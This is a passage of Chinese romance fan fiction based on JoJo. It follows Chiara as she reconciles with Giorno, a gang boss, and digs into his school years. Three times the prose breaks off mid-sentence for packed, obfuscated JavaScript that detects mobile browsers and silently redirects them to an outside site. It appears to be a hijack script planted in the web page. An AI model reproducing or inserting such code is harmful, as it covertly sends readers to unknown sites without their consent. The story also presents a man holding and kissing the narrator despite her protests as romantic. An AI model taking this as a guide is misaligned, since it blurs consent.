我有点想说“不是”,但不管怎么想这都不会是一个好的答案。 “对。”我简短地回答。 “幸亏庄园里还有的是房间。”管家笑道,“琪亚拉小姐交到了很多新朋友呢。” 他看着乔鲁诺的目光比看着芬恩的目光要友好多了。 芬恩的气质太随意,乔鲁诺的气质却很有欺骗性,我想就算是母亲和父亲此时此刻站在这里,也暂时不会对乔鲁诺挑出太多的毛病。 “承蒙关照,”不等我说什么,乔鲁诺就抢先应了管家的邀请,“很高兴能够在这里借宿,叨扰了。” 他帮着管家把芬恩扶回了客房。 我默不作声地跟在他们几人身后,这是身为主人的礼仪。 母亲的身影在楼梯间一闪而过,她似乎还不太习惯和我面对面交流,我没来得及和她问好,她就把门关上,消失得无声无息了。 芬恩躺下了。 管家把乔鲁诺带到另一间房里,等候着的佣人们手脚麻利地快速清理了一遍客房。 “不介意的话,您就住这个房间吧,如果有什么需要,可以按下门口的按钮,我们会有专人为您服务。” 他的叮嘱很仔细。 乔鲁诺道了谢。 我搁着人群,遥遥和他对视了一眼,他嘴唇微张,似乎有什么话要和我说,但我已经后退一步,转身离开了。 我的房间在另一个楼层,远离父母,也远离客房。 时间不早了,我回到房间洗漱完毕,脑袋沾上枕头就睡着了。 第二天一早,管家向我打探乔鲁诺的身份和喜好,他要确认了客人的需求再为他们提供早餐服务。 “你直接去问他本人吧。”我问,“你对待芬恩怎么没那么上心?” “芬恩先生看起来更喜欢轻松一些的风格。”管家回答。 “乔鲁诺也没那么讲究。”我托着下巴,还有点困,“他虽然看着不像普通人……呃。” 我突然从困倦中回过神来,意识到乔鲁诺不仅看着不像普通人,也的确不是普通人,他是【热情】的首领! “算了,”我把刚才的话吞回肚子里,“就当我什么都没说,您还是去仔细问问他本人需要什么吧。” 我还不知道乔鲁诺是不是对谁都像对我一样包容。 他看着真的不像黑.手.党,更不像首领,其实我有点怀疑他可能只是继承家业然后挂个名头,像我很多无用的发小们那样。 不过话说回来,【热情】到底是什么时候崛起的? 等管家忙完了,问问他吧。 其实爸爸和爷爷或许也会清楚一二,但我和他们的关系还不如我和妈妈的。 我们家族关系真是怪异。 应付完管家,我在书桌前又打了会儿瞌睡,大概一个小时以后,才彻底清醒过来。 没有人催我去餐厅用餐,这是历史遗留问题,我就不过多展开了。 总之在吃完女仆单独给我送来的早餐以后,我才下楼,母亲风雨无阻地去诊所上班了,父亲在花园里陪我的“妹妹”玩耍,看来管家没有骗我,他确实放下葡萄园那边的生意,更多投入家庭了。 乔鲁诺悄无声息出现在了我的身后: “早上好,琪亚拉。” 我吓了一跳:“你怎么还没走?” 乔鲁诺说:“我在等你。” “为什么?”我问,“你不应该很忙吗?” 我不知道他清不清楚,我已经知道了他身份的这件事。 乔鲁诺也没表现出来,他看着草地上和宠物玩耍的女孩: “我听说那是你妹妹。” “嗯,旁边的那个是我父亲。”我顺便给他介绍另一个亲属。 他没有问我和妹妹的年龄差距,只说:“我知道,早餐的时候,我还见到了你的母亲,她看上去是一位很智慧的女性,和传言里的一样。” 什么传言? 我莫名其妙:“你留在这里一上午,就是想看看我的家人都长什么样?现在你看到了,还有别的需要吗?” 他的目光终于从草地上那个牙牙学语的女孩身上移开,转而挪到我身上。 “我不明白,”乔鲁诺说,“你为什么对我这么冷淡?” “关于这个问题,我已经和你讨论过了,我不会和你在一起,所以我不想给你多余的希望,你到底要我说几遍?” “那你要和谁在一起?”他问,“米斯达吗?” “……那是你朋友!而且我和他完全不熟!” “你们昨晚气氛很好。”他又旧事重提。 竟然在这个时候提起“昨天晚上”,我想到他在车上强迫我的那个吻,忍不住恶狠狠瞪了他一眼。 但乔鲁诺一副不知道我在生气什么的样子,表情淡淡的,眼神也没有丝毫波澜,只是对着我歪歪脑袋,发出疑问的鼻音:“?” “我不会和他在一起!”我决定和他把话摊开了说明白,“也不会和你在一起,我不会和任何人在一起!我现在只想认真敲我的架子鼓,这样说你明白了吗?” “不,”乔鲁诺说,“既然你没有喜欢的人,那为什么不能继续和我交往呢?” 感觉像被蟒蛇缠上了,要窒息了。 这个人为什么步步紧逼? 这一连串的问题,让我的脑子差点要转不过来了。 “……因为我不想。”最后,我蛮横地说,“我不想和任何人在一起,不想就是不想。” “真的吗?”他问,“无论什么时候都是吗?” “一个人很孤独的时候、难过的时候、或者是有开心的事情想要向人分享的时候……无论什么时候,你都能保证自己不会在那个时候想起我吗?” 他的动作和他的语言总是不太匹配。 乔鲁诺说话的时候,声音总是冷冷的、淡淡的,好像遇到天大的事情都不会惊慌一样。 但是,他的动作,总是像一条黄金大蟒,在人们不知不觉中就缠绕了上来,直到他碧绿的眼眸和你的双眼就近在咫尺,你能感受到他身上淡淡的鸢尾花香,你才会意识到—— 又被抓住了。 “说话就说话……”我顺着他的话语想象了他所说的画面,然后发现自己又被他带着跑了,恼怒得脸上晕开一片温热,“不要总是偷偷靠过来!” 都数不清是第几次了! 我抵住他坚硬的肩膀,试着往外推开这个家伙。 但是,他的双手不知道什么时候已经绕到我身后去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298297|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我再一次被他锁在怀里,难以挣脱。 ……这是在大厅和花园之间的出入口,会有人看见的! 他低下脸,嘴唇轻易地就擦过了我的耳垂。 “你的答案呢,琪亚拉?”他问,“什么时候都用不上我、不需要我吗?你确定吗?” “就算我需要那么一个人,”我问,“又凭什么是你?” “那么还可以是谁呢?”他问,“是我有哪里不好吗?你不是很喜欢我吗?” “谁喜欢你了?”我言不由衷。 乔鲁诺叹气:“真令人伤心。那我可以请求你喜欢我吗?” 越说越离谱! 这个粘人精! “放手。”我不想和他闹了。 “不要。”他拒绝得很干脆。 “要是让我爸爸看见,你就完了。”我威胁他,“你一点都不在乎自己在这个庄园里的形象吗?” “如果你并不打算和我在一起,我在乎这个又有什么用呢?”他巧妙地和我进行辩论。 真是有点小聪明就全用在我身上了。 我作势要咬他,他纹丝不动。 我最终还是没能真的下口,软下语气,恳求地问道:“好吧……好吧,你到底想怎么样?” “你知道的,”他说,“我只是希望我们能恢复之前的关系。” 似乎担心我还是不肯答应,他放缓了语调,诱惑性地说道: “反正我们之间也没有其他人了,那么干脆就回到之前吧……在这以后,你去哪里都可以,我绝对不会干涉你,就像过去三年一样。北美也行,澳大利亚也行……我只是想要确认你还爱我,我并不贪心,琪亚拉,请你给我一个身份吧。我不想再看见有其他人向你谄媚,但我只能在一旁看着。” “你可不是只在一旁看着。”我忍不住反驳他,“就连芬恩,你误以为他要向我求婚,也照样把戒指抢走了。有没有身份,对你有影响吗?” 他不说话了。 果然这座美人雕塑其实是一条危险的大蟒蛇! 我再次确认了这一点。 但是,就算知道了这一点,我又能怎么办呢? “好吧,”我最终妥协了,“如果我答应了,你是不是就不会再闹了?” 他说只要我愿意,他能为我做任何事。 话都到这里了,我也没有别的选择了。 “那……先暂时再在一起一段时间吧。”我说,“但是,乔鲁诺,我真的没办法给你未来的承诺。” 他微笑:“那就够了。” “你是不是该放手了?”我提醒他,“你刚才答应了。” 他却仍然只是微笑。 再度俯身,轻轻吻了吻我的脸颊,他语气越发轻快: “既然你已经同意和我建立亲密关系,那我们做这些应该也是理所应当吧?我不需要停下来吧,琪亚拉,不是吗?” 我再次被他的无赖行为震惊了。 竟然还可以这样! “可是……可是……” 可是我不是这个意思呀! 总感觉像上了贼船,是怎么回事……乔鲁诺以前是这样的吗? 这不对啊? 喘不上气了……又要喘不上气了,他又亲我! 真的被缠上了,谁来救救我…… 眼泪在眼角氤氲开来,我这回真的想用上牙齿狠狠咬他一口,给他点颜色看看,但实在一点力气都用不上。 这家伙的吻技简直一日千里,我绝望极了,更想哭了。 28.28 我要被乔鲁诺气死了。 三年前乖巧礼貌的他可能是我的幻觉,现在的他完全是一只不屑于隐藏狐狸尾巴的坏东西。 在花园前做了那一堆坏事以后,他若无其事地到草地上去和我的父亲打招呼了,然后又逗我的妹妹维拉玩了会儿游戏,接着说自己要告辞了。 “哦,有空再来。”父亲说,“你和琪亚拉和好了吗?……琪亚拉也真是的,一声不吭跑到国外去就算了,交往了这么久的男朋友也不和家里说一声,她把你丢下这么久,你一个人在意大利很难过吧?” ……等等,怎么爸爸对乔鲁诺的认知就变成了“交往很久的男朋友”啊?我错过了什么?是在早餐餐桌上,他对着我的父母说了些什么吗? 我警觉起来,看向乔鲁诺,乔鲁诺却不回应我的怒目而视。 他揉着维拉的脑袋,微笑着和父亲说: “是的,我们和好了。至于琪亚拉出国的事情……如果不是在意大利的工作不好丢开,我真想和她一起离开,我很爱她,只要她心里还有我,我一点都不在意远距离恋爱的事情。” 闻言,父亲朝我投来不赞同的目光: “就算是这样,琪亚拉,你这样也太过分了,乔鲁诺多可怜啊。” 我:“……” 喂,所以说这一切到底是怎么回事啊?我怎么突然就在父母面前变成了玩弄良家少男感情、还不负责的人渣啊? 我很想替自己申冤,我和乔鲁诺的感情没到这一步,可是回忆起自己当初说分手就分手的干脆模样,又觉得自己确实好像没那么冤枉。 怎么解释都不对劲,我干脆不说话了。 父亲开始对我谆谆善诱了: “要珍惜眼前人啊,琪亚拉,事业有的时候没那么重要,脸面也是。我和你妈妈赌了一辈子的气,最后发现感情才是最难得的。……算了,不过你们这些年轻人都自己有自己的想法,我也很惭愧没有怎么帮助过你的人生,你的路还是由你自己走吧。” 他把维拉抱起,进屋子里了。 “你们再单独聊聊吧,维拉该喝奶粉了,我就不奉陪了。不过琪亚拉,乔鲁诺是个好孩子,如果你能回到意大利和他在一起,不管你妈妈那边怎么说,我这里一定会支持你们的。” 这个长期在我人生中缺席的男人,冒昧地短暂扮演了一下我父亲的角色,就急着下线了。 我看着他抱着妹妹远去的背影,内心五味陈杂。 事到如今,他竟然想用自己和母亲举例想要感化我,让我回到意大利,和乔鲁诺在一起,以感情为重吗? 如果是乔鲁诺自己对我发出这样的请求,我说不定还能考虑一下,但是那个自称是我父亲的男人的话,我是绝对不会听从的。 我受够了母亲对我的控制欲,也受够了这个男人的缺席,我承认他们对我是存在血缘关爱的,所以我在庄园里休息得很安心,但这不妨碍我同时想离他们远远的。 “我不是那种会乖乖听家里安排的好孩子,”于是我和乔鲁诺说,“如果你想利用我爸妈劝服我回意大利和你在一起,是不会有结果的,我绝不可能屈服。” “我没有那种打算,”乔鲁诺说,“父母和孩子本来就各自独立。” 他说这句话的样子比其他时候都要冷酷很多。 然后他的表情稍微松动了一下,冰雪消融。 “我只是想要更多的了解你……我试着在他们身上找寻一些关于你的痕迹,而且,因为他们是你最亲近的人,我不可能对他们冷漠以待。希望你不要误会。” 我绷紧的神经稍微放松下来。 “最好是这样。”但我嘴巴上说的话却不怎么留情。 乔鲁诺要离开了,他说自己有重要的事情要处理。 我目送他出了庄园,突然意识到,他从我家里就这么走出去,可能给这个家的人带来危机,毕竟他是【热情】的首领。 就像当初我遇到危机那样,这些事情怎么想都难以避免。 我真是昏了头了,竟然现在才考虑到这个问题。 不得已,我只好拨通菲奥娜的电话,跟她粗略地讲了一下我和乔鲁诺重逢了,他到我家里来过,问菲奥娜怎么办。 菲奥娜发出了尖锐爆鸣,她相当敏锐: “他为什么会去你家里?你们和好了?说好的分手呢?琪亚拉你怎么可以重蹈覆辙?!” 我:“……” 该怎么说呢,我抵抗不了那个男人的魅力啊! 可是实话实说感觉不太好,我只能为难地道: “总之帮我想个办法吧……” 菲奥娜冷笑起来:“亲爱的,如果你只是担心家人的安全,那么我可以肯定地告诉你,你完全不用担心这个问题,因为你狗胆包天选中的那个男人——他该死的现在已经完全掌控整座城市了!现在道上有一句话,那不勒斯就连几点下雨都要听【教父】的安排。” 我愣了一下:“啊?” “别的地方不好说,但是,那不勒斯,”菲奥娜道,“这里现在简直就成了他的王宫。你根本想象不到他都做了些什么!” 菲奥娜的话太不真实了,我甚至开始有点怀疑我们讨论的是不是同一个人。 那个刚才对我撒娇耍无赖的乔鲁诺? “菲奥娜,”我弱弱地道,“请你不要说这么夸张的话了,我会觉得我交往了一个很可怕的对象。” “你就是!”她斩钉截铁地说。 “不,乔鲁诺其实没那么可怕……他、他挺温和的,嗯,我不是说他没有脾气和手段……总之,你给我描述的那个乔鲁诺像是【黑暗帝王】,但是我认识的乔鲁诺要更平易近人一点,我还是更愿意接受我所看见的那个乔鲁诺。而且,我一直觉得你好像对他有点偏见。” 我不应该为了男朋友说朋友的不是,可是,菲奥娜总这么针对乔鲁诺,也不是个事。 “或许,在你的视野中,他确实很可怕,但是对我来说不是那样的。乔鲁诺到底是个什么样的人,我要用我自己的眼睛判断,请你不要再一直向我灌输他很可怕的观点了。……乔鲁诺就从来没有说过你不好,菲奥娜,他没有试图在任何事情上影响我的认识。” 菲奥娜沉默下来。 过了很久,她发出滞涩的声音:“对不起,琪亚拉。我只是……好吧,我不喜欢【热情】是一方面,另一方面,我有点嫉妒你对那个家伙的在意,所以总是忍不住这样。我只有你一个朋友,我有些过度了,我向你道歉。” 我叹气。 “这不是一个可以被原谅的理由,你知道的,我最讨厌人们嘴巴上说着爱和喜欢,然后对另一个人施加控制。……在你能够公正地对待乔鲁诺和我以前,我不会再和你联系了。” 菲奥娜说好。 我们的通话结束了。 虽然和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300477|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友暂时进入了友谊冰冻期,但至少我知道了我的家人会是安全的。 这一通电话打得也算值得。 只是没有了菲奥娜,我的休假生活就少了一些乐趣。 芬恩还在呼呼大睡,听说他昨天夜里酒醒后折腾了个通宵,早上才开始重新入梦,所以白天都不能出来再活动了。 我考虑着自己接下来该去哪里玩耍。 唉,不管怎么说,和朋友起争执真是令人难受的感觉。 但是,我受够了母亲的控制,我不能从母亲的控制下逃离出来以后,又乖乖进入到菲奥娜的圈套里。 我要先成为自己,才可以去探索世界。 乔鲁诺就没有这么对待我,虽然他总是用一些缠人的手段,但那都是我主动先向他提供了机会,他才开始顺着杆子往上爬的。 他从来不做我真的会反感的事情。 如果和他在一起,我愿意,可是我舍不得我在国外的乐队,我也不喜欢意大利,因为这里有我的爸爸妈妈,我想离他们远点。 怎么办呢? 身为首领,乔鲁诺好像不能离开意大利。 我们俩怎么看都不会有未来。 和他复合,真是一个甜蜜又糟糕的决定,考虑完这些,我已经开始有点提前心碎了,可是想到乔鲁诺,我又觉得错过了和他在一起的这段时光,我一定会后悔。 我真的喜欢他。 人生怎么总是存在许多这样那样的难题?好麻烦。 我不想再想了,拿了串车钥匙,准备出门兜兜风,重新走一遍我当年上学的路线。 那条我最喜欢的海岸线。 现在正是学生上学的时间,住宿中学不支持对外开放,我在校门口看了一眼,很快又驱车回程,前往我另一个就读过的中学。 这家学校离我家很近,老师对我印象很深,他们对我开放了校园,我在前往教师办公室的路上,经过了图书馆,一下就回忆起来学校里那个亚裔混血儿。 他叫什么来着? 我在老师办公室的校园纪念册里进行翻找,一边陪老师们聊天,一边翻页。 他们问我在找谁。 “一个混血的孩子,好像比我晚几届入学,听说他的父母有一方是日本人。”我实话实说,“我一直对他很好奇,但我们年级不一样,我没什么机会和他接触。” “你是说乔鲁诺吗?”老师擦擦眼睛,起身过来帮我翻页,“我们学校那几年好像就只有他一个意日混血。我们对他印象也很深,在毕业的那一年,他突然变了个发色。这样的例子实在不多见。” 校园纪念册被定格在了某一页。 我顺着姓氏的字母顺序阅读,很快在书页右侧的某一行找到了自己想要找到的家伙,黑色短发,轮廓比正常欧洲人要柔和许多,一看就是混血。 “这张照片是他入学时候拍的,”老师向我讲解,“毕业照在后面。” 我顺着提示往后翻,看见了拥有着同一个名字的崭新面容。 黑发绿眸的男孩长成了金发碧眼的少年,他的身量和五官依然比同伴们要更为纤细,但很难再在这张脸上找到亚洲人相关的面部特征。 这个混血儿的名字,叫乔鲁诺.乔巴那。 他和我收录在同一本校园纪念册中,同样的纪念册我家里也收藏了一本,只是我从来没有认真看过。 我竟然没有认真看过。 29.29 有些事情,一旦开了头,你就会忍不住一直探索下去。 就比如说,我对“乔鲁诺”的好奇心。 怪不得我当初总是看着他,联想到自己的中学时代……原来他就是图书馆里出现过的、那个奇怪的混血。 想起当初他对我说过的那番话,我隐约有了一个不太好说出口的猜测…… 他不会是那个时候就开始喜欢我了吧? 这个想法一跳出来,我就被自己的猜测吓了一跳。 这种长情的暗恋,怎么想都像是童话故事,不应该存在于现实之中,它怎么可能偏偏就发生在我身上呢? 但我忍不住对此感到在意。 我向昔日的老师和同学们打探乔鲁诺,努力拼凑着他旧日的痕迹。 出乎我的意料,在老师眼中,乔鲁诺算不上一个好学生,不知道从哪天开始,他总是没来由的缺勤,而且他在学校里……总会做一些让人难以评价的事情。 比如遇到一些连校方都束手无策的混混时,乔鲁诺总是不介意以暴制暴。 他对教师的态度也并不完全恭敬,除非对方确实有些本事,否则乔鲁诺总是维持着礼貌却不服从,甚至会直接拒绝出席课堂。 “从学校管理的角度来说,这孩子实在有些棘手,但他确实是个好孩子。”老师说,“不过,见到他的家长以后,我也能理解乔鲁诺为什么会是这样的性格。” 乔鲁诺的家庭复杂,母亲来自日本,父亲是意大利人,但是是继父。 关于他的亲生父亲,乔鲁诺的母亲从来不透露半点信息。 她作为异乡人,却在意大利活得如鱼得水,可见性格与能力非同一般。 每次乔鲁诺踩到了学校的警戒线,请这位母亲前来理论,对方却总是礼貌却不失强硬地将所有指责推回校方,维护自己的儿子。 而那位成为了她新丈夫的意大利男人却总是隐藏在这位母亲身后,一言不发。 老师们认为,乔鲁诺是从东亚母亲身上继承了内敛的力量。 但是另一方面,这位母亲又不止一次的说出过“我现在没空、如果事情不严重,麻烦你们自己和乔鲁诺解决就好”之类的话语。 所以乔鲁诺又显得非常独立。 越长大,大家能在他身上寻找到的关于家庭的印记就越少,他几乎像是一个孤家寡人。 而在学生群体中,我听说,他非常受一部分女生的欢迎。 虽然他沉默寡言,但他总是彬彬有礼;虽然他独来独往,但他经常帮助同学。 “但是GIOGIO感觉太难接近了……” 通过朋友联系到的、和乔鲁诺同一个班的女孩子,这么和我抱怨着。 “我们每次在路上碰见他,和他搭话,他总有理由消失不见……不过每次听见他的请求,就算他是在赶我们走,也很难不答应呢,因为他用那双眼睛看着你的样子实在太迷人了~” 确实。 我忍不住点点头,对她的说法深表赞同。 乔鲁诺一开口,很难有人会拒绝,这不仅是长相问题,乔鲁诺身上就是有一种让人很难拒绝的气质。 “我还在学校上学的时候,一点都没听说过呢……”我不由感慨。 “因为那个时候乔鲁诺还是黑色头发,他黑色头发的样子感觉比现在要冷酷好多……对了,你怎么会突然对这些以前的事情感兴趣呢?”女孩子好奇地问道。 我打了个哈哈,开始胡说八道:“这个嘛,有一些原因啦……取材之类的。” 实话实说会显得我很像跟踪狂STK,我还是随便找个理由敷衍过去吧。 好在面前的女孩子没什么太多复杂心思,我随口扯的理由确实把她糊弄了过去。 我和她说了谢谢,将这一顿下午茶的账单付清,又另付了一些酬金,接着走出店面。 不远处,一家冰淇淋店正在营业。 我计算了一下今天进食的热量,纠结片刻,在破例和努力之间犹豫了一会儿,很快就愉快地将控制热量抛之脑后,向店家点单了一份冰淇淋。 玻璃柜台前趴着一个一脸渴望的小萝卜头。 我弯下腰去,低声询问了一下他的基本情况,为什么一个人在这里,想不想吃冰淇淋,会不会过敏之类的。 老板笑道: “这孩子经常来,今天应该是零花钱不够了……嘿,小杰瑞米,要不要我请你吃一份冰淇淋呀?” “我请吧。”我接过老板递来的冰淇淋,转而送给身边这个满脸渴望的小男孩,然后替自己又要了一份冰淇淋。 “拿好哦。”我对男孩说。 他高兴地说了声谢谢,接过冰淇淋就开始品尝。 我结完帐,拿到了新的冰淇淋,小男孩还没有离开。 他一边舔着冰淇淋最上面即将融化的奶油,一边歪着脑袋问我: “姐姐你叫什么?明天还来吗?我有钱了就把钱还给你!” “不用哦。”我说,“能够成全像你这样的可爱小朋友,对我来说是比金钱还要有意义的事情。” 老板哈哈笑起来:“杰瑞米运气真好,总是碰见好人呢!” 接着他转而对我道: “前不久有个小伙子经过这里,也给杰瑞米买了一个冰淇淋。……说起来那个小伙子很英俊呢,你们要是能遇见就好了,感觉很配哦。” 我听出不同寻常的含义,笑问小男孩:“你怎么总是没钱还在这里等冰淇淋吃?” 小男孩不好意思地嘿嘿笑了一下。 我摸摸他的脑袋,然后离开了。 漫无目的地逛了大半个街区,我回到了之前上班的咖啡店附近。 咖啡店和以前一样,几乎没什么改变,布加拉提应该是另外请了人继续经营店面。 我隔着一条马路远远地盯了一会儿店面,就打算回庄园。 布加拉提却在这时候从店里面推门而出,正好与我遥遥对视。 时间似乎静止了一瞬。 很快,他反应过来,朝我招了招手。 我迟疑片刻,也对着他打了个招呼。 然后我就带着我还没吃完的半个冰淇淋,跟他站在马路边闲聊……他从马路对面过来了。 “什么时候回来的?”布加拉提问。 “昨天。”我说。 他突然露出一个恍然大悟的表情:“难怪。” 我意识到什么:“你和乔鲁诺认识,对吗?” 布加拉提沉默了一下,然后微微笑了起来:“对,我从某人那里听说他昨晚没有回到本该回去的地方,应该是去找你了吧。你们和好了吗?” “你好像知道很多,布加拉提先生。”我说。 “断断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308426|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续续的知道一些吧……乔鲁诺对我,不,对我们很多朋友来说都很重要,所以我们会比较紧张他的下落。”布加拉提很诚实地回答了我。 “因为他是你们的BOSS?”我直接问道。 “……你已经知道了啊。”他一副释然的表情。 我不由得沉默了一会儿。 布加拉提也不再说话。 又过了片刻,他才故作轻松地问我: “所以,你现在有什么打算呢,琪亚拉?我记得你说过,你只想过自己喜欢的生活。和乔鲁诺在一起,这样的愿望好像不太能实现。” 他说的有道理,问题也很值得思考,但我就是忍不住,直接将他的话堵了回去: “万一我喜欢的生活,就是和乔鲁诺在一起呢?” 布加拉提:“……” 他神情有点复杂。 “我不清楚,”然后他说,“我不知道这样对你来说,是不是正确的选择,琪亚拉。” 乔鲁诺是他的同伴,BOSS,是他认识了比我还要久的好朋友,他更应该多多考虑乔鲁诺的感受。 但他却在我和乔鲁诺之间摇摆,不知道更支持谁的幸福选项会比较好。 这种被特殊对待的微妙感受,我总是时不时能在他身上察觉到。 其实我对布加拉提也是如此,每次见到他,我总会觉得他身上有哪里和别人不太一样…… 或许是因为他给迷路的我指出了一个方向,又总是这么体贴照顾我吧。 但是我们俩都很有默契,尽管我们彼此心知肚明对方有哪里不太一样,但却心照不宣地将此作为秘密隐藏。 然而,在外漂泊的这三年,我想通了很多事情,包括这份微妙的对待。 布加拉提分明是把我当成了他帮派世界里、罕见的易碎花瓶。 “无论做出什么选择,我都会过得很好,我总会优先于自己的感受。” 我和布加拉提说。 “反倒是乔鲁诺……我总觉得有愧于他,麻烦布加拉提先生再偏向乔鲁诺一点吧。我知道,您向来喜欢照顾弱者,所以对我会比对你的同伴要更关照一些,但是就算再强,人心也是肉长的,不能因为乔鲁诺看着比我要强大,就轻视他呀。请更多的在乎他一点吧。” 布加拉提叹了口气: “……你说的这个问题,我倒是从来没有想过,不过确实有道理。我总会觉得你更需要照顾,所以更倾向于站在你的立场。但是琪亚拉,你真的需要考虑一下,乔鲁诺要面对的世界,比你想象的要复杂危险,你真的要走近他吗?” “我不清楚,不过我总会想明白的。” 冰淇淋吃完了,我用湿纸巾擦了擦手。 “在那之前,我想要尽可能地减少乔鲁诺在这个过程中会受到的伤害,尽管在您看来,那可能不值一提,但这对我来说真的很重要……因为我确实是爱他的。” 就像他能够忍住三年不和我进行联系,就像我也忍着三年不愿意打破这份平静。 我们都在努力降低自己打搅对方规律的生活、给对方带来灾难的可能性。 可是人和人一旦相遇,就势必会互相影响。 我还不能确定那影响是好是坏,我只是由衷的希望,他最终能够幸福。 可是话又说回来,乔鲁诺渴望的幸福生活,是什么样的? 30.第 30 章 我突然意识到,自己和乔鲁诺的交流沟通并不多。 以前,他总是绕着弯的想要了解我,但我却不愿意向他袒露自己的想法……即便是现在,我也很少对他坦诚相待。同样的,我也不会过问他的个人情况。 我总是担心重蹈父母的覆辙。 可是现在想想,我们之间都发展到这个地步了—— 他在意我,而我也在意他。 而且就像他所说的那样,有没有一个与之相伴的人对我来说并不重要,如果一定要有那么一个人,这个人为什么不能是乔鲁诺呢? 当然是他,而且也只能是他。 我不是我的母亲,我不会把改变人生的希望寄托在乔鲁诺身上,乔鲁诺也不是我的父亲,他聪明又体贴,我不能用长辈的错误惩罚自己。 如果不迈出勇气的一步,人是永远无法打破旧的宿命桎梏的。 我要和乔鲁诺谈一谈。 想通这一点后,我几乎差点要原地跳起来—— 布加拉提一直在注视着我,或许是注意到了我神情的变化,他微微睁大了一些眼睛,看上去有点惊慌。 “怎么了,琪亚拉?”他问我。 我突然才想通关于感情方面的问题,高兴极了,响亮地回答: “我要去找乔鲁诺!” 布加拉提:“……啊,啊?这么突然?” 没有再多说什么,我朝他微微笑了笑,然后问: “你知道乔鲁诺现在在哪里吗?可以帮我联系上他吗?” 不知道想到了什么,布加拉提沉吟片刻,语气犹豫: “可以倒是可以,但是……” “拜托你了,”我迫不及待地和他说,“我想见到乔鲁诺!现在来不及也没关系……但是,如果他有空了,麻烦你一定要告诉我一声。” “你为什么不自己去找他呢?”布加拉提问道。 我不太好意思地答道: “之前的手机被偷了,我暂时没有乔鲁诺的联系方式,他好像也没想到这一点,没给我留联系方式。” 布加拉提:“原来如此……好,我现在帮你联系一下乔鲁诺。不过,我先确认一下,他知道你发现了他身份这件事吗?他好像一直不太想让你知道。” “没关系,”我说,“总要面对的。” 布加拉提没再提出异议。 他背过身去,不再对着我,拿出了通讯工具,操作了几下,接着就和某人进行了联系。 我在马路边安静乖巧地等待着,一直盯着自己的脚尖,双脚踮起又落下,就这样反反复复,给自己找些趣味。 …… 过了一会儿,布加拉提转过身,重新面向我。 他的嘴巴一张一合,我看见他说:“可以了,和我走吧,琪亚拉,我带你去见乔鲁诺。” 他的表情看起来很严肃。 我隐约意识到,自己可能要见到工作状态中的、另一个身份下的乔鲁诺了。 这真是值得令人期待。 我不由得紧张起来:“我们要去哪里?” “没事的,”布加拉提反倒放松了些,“只有可靠的人才会出现在那里……不过你还是要做好准备,琪亚拉。我还是很担心你。” “谢谢,”我说,“不管怎么样,总要让我体验一下,我才可能会知难而退吧?” 布加拉提看上去有点无奈:“真是和外表不符的倔强呢,琪亚拉。” “我会把这句话当成夸奖的。”我回答。 布加拉提说完全没问题,然后领着我上了车。 他开车慢吞吞的,但是很稳当,目的地离咖啡店并不远,我们很快就到了。 那是一栋看上去有些复古的建筑,从建筑外往里面看,并不会觉得有什么特别,等到跟着布加拉提进入房间里,我才从室内装潢中品味出一丝属于金钱和历史共同沉淀出来的厚重意味。 可能是为了适应身份的需要,乔鲁诺穿了一身黑色,他平时出现在我面前的时候,明明穿彩色更多。 米斯达和一些我没有见过的家伙也在房间里。 见到我以后,乔鲁诺不为所动,他甚至还对着我和布加拉提道: “你们已经到了?……抱歉,我这边暂时还有些事情要处理,布加拉提,麻烦你先带着琪亚拉到旁边等一等吧。” 米斯达接过话头:“我来吧。反正我现在也闲着。” “不,”乔鲁诺驳回,“还是布加拉提更合适。” 然后我就稀里糊涂跟着布加拉提去了其他的房间。 “乔鲁诺工作的时候很认真,”他让人端上了饮品和甜点,然后替乔鲁诺向我解释道,“很多事情你在旁边听着也不合适,所以只能委屈你在这里先等一等了。” “我理解的。”我朝布加拉提笑了笑。 布加拉提突然问:“你昨天是不是还和米斯达一起喝酒了?” “对,”我不明所以地反问,“怎么了?” 布加拉提笑了一下,那个笑容掺杂着点苦意和揶揄,然后很快恢复正常。 “米斯达的性格……可以说是很好懂也很典型吧。他很重视朋友情谊,对异性也很感兴趣,他好像还不知道你和乔鲁诺的关系,昨天回来以后一直和我们说乔鲁诺偷偷认识一个漂亮女孩子,为了和人家相处,把他从车上丢了下去什么的……乔鲁诺也不知道怎么回事,一直不说清楚。米斯达很有意见呢。” 我想了想,按照乔鲁诺沉稳中带着点孩子气、偶尔偷偷使坏的性格,故意不告诉米斯达我们俩分过手现在又复合了,也是在预料之中的。 他肯定是故意的,不是为了让米斯达尴尬就是想看我的反应。 哎,这孩子。 